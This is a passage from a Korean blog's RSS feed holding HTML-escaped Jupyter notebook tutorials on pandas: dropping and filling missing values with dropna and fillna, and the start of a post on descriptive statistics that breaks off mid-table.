    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;3.3&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data.dropna()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;how='all' 옵셥을 주면 모든값이 NA인 row만 제외(how='any'가 기본값)&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data.dropna(how='all')
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;3.3&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data[4] = NA
data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;th&gt;4&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;3.3&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;how='all' 옵셥과 axis값을 동시에 주면 모든값이 NA인 column만 제외(how='any'가 기본값)&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data.dropna(how='all', axis=1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;3.3&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;thresh: 몇개의 value가 들어 있는 행을 가져오고 싶은 경우 사용되는 파라미터&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data2 = DataFrame([[1,2,3,NA],
                  [NA,33,11,NA],
                  [11,NA,NA,NA],
                  [43,NA,NA,NA]])
data2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;33.0&lt;/td&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;43.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data2.dropna(thresh=2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;33.0&lt;/td&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;3. 누락된 값을 채우기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;DataFrame에서는 누락된 데이터를 완벽하게 골라낼 수 없으므로 의도하지 않게 다른 데이터도 함께 버려지게 됨&lt;/li&gt;
&lt;li&gt;fillna 메서드를 활용하여 누락된 값을 채우는 것이 유용&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;33.0&lt;/td&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;43.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;1) fillna 메서드 이용&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data2.fillna(0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;0.0&lt;/td&gt;
      &lt;td&gt;33.0&lt;/td&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;43.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;2) fillna 메서드를 활용하여 각 column마다 다른 값을 채워 넣음: dictionary로 값 지정&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data2.fillna({1:10, 3:30})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;30.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;33.0&lt;/td&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;30.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;10.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;30.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;43.0&lt;/td&gt;
      &lt;td&gt;10.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;30.0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;3) 보간법 이용&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;33.0&lt;/td&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;11.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;43.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data.fillna(method='ffill')
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;th&gt;4&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;5.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;3.3&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;4) 평균값으로 채우기&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s2 = Series([1, NA, 3.5, NA, 7])
s2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0    1.0
1    NaN
2    3.5
3    NaN
4    7.0
dtype: float64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s2.fillna(s2.mean())
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0    1.000000
1    3.833333
2    3.500000
3    3.833333
4    7.000000
dtype: float64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AI&amp;amp;BigData/Basics</category>
      <category>dropna()</category>
      <category>dropna(how='all')</category>
      <category>fillna()</category>
      <category>fillna(method='ffill')</category>
      <category>notnull()</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/231</guid>
      <comments>https://eunguru.tistory.com/231#entry231comment</comments>
      <pubDate>Sun, 3 Jun 2018 23:39:38 +0900</pubDate>
    </item>
    <item>
      <title>[Pandas]  기술통계 계산 1</title>
      <link>https://eunguru.tistory.com/230</link>
      <description>
&lt;meta charset=&quot;UTF-8&quot;&gt;&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width initial-scale=1&quot;&gt;
&lt;title&gt;pandas_statistics&lt;/title&gt;
&lt;h1&gt;기술 통계 계산&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;pandas는 일반적인 수학/통계 메서드를 가지고 있음&lt;/li&gt;
&lt;li&gt;pandas의 메서드는 처음부터 누락된 데이터를 제외하도록 설계 됨&lt;/li&gt;
&lt;li&gt;전체 row나 column의 값이 NaN이 아니라면 NaN 값은 제외하고 계산&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;import pandas as pd
from pandas import Series, DataFrame
import numpy as np
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;df = DataFrame([[1.4, np.nan], [7.1, -4.5], [np.nan, np.nan], [0.75, -1.3]],
               index=['a', 'b', 'c', 'd'],
               columns=['one', 'two'])
df
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;one&lt;/th&gt;
      &lt;th&gt;two&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;a&lt;/th&gt;
      &lt;td&gt;1.40&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;b&lt;/th&gt;
      &lt;td&gt;7.10&lt;/td&gt;
      &lt;td&gt;-4.5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;c&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
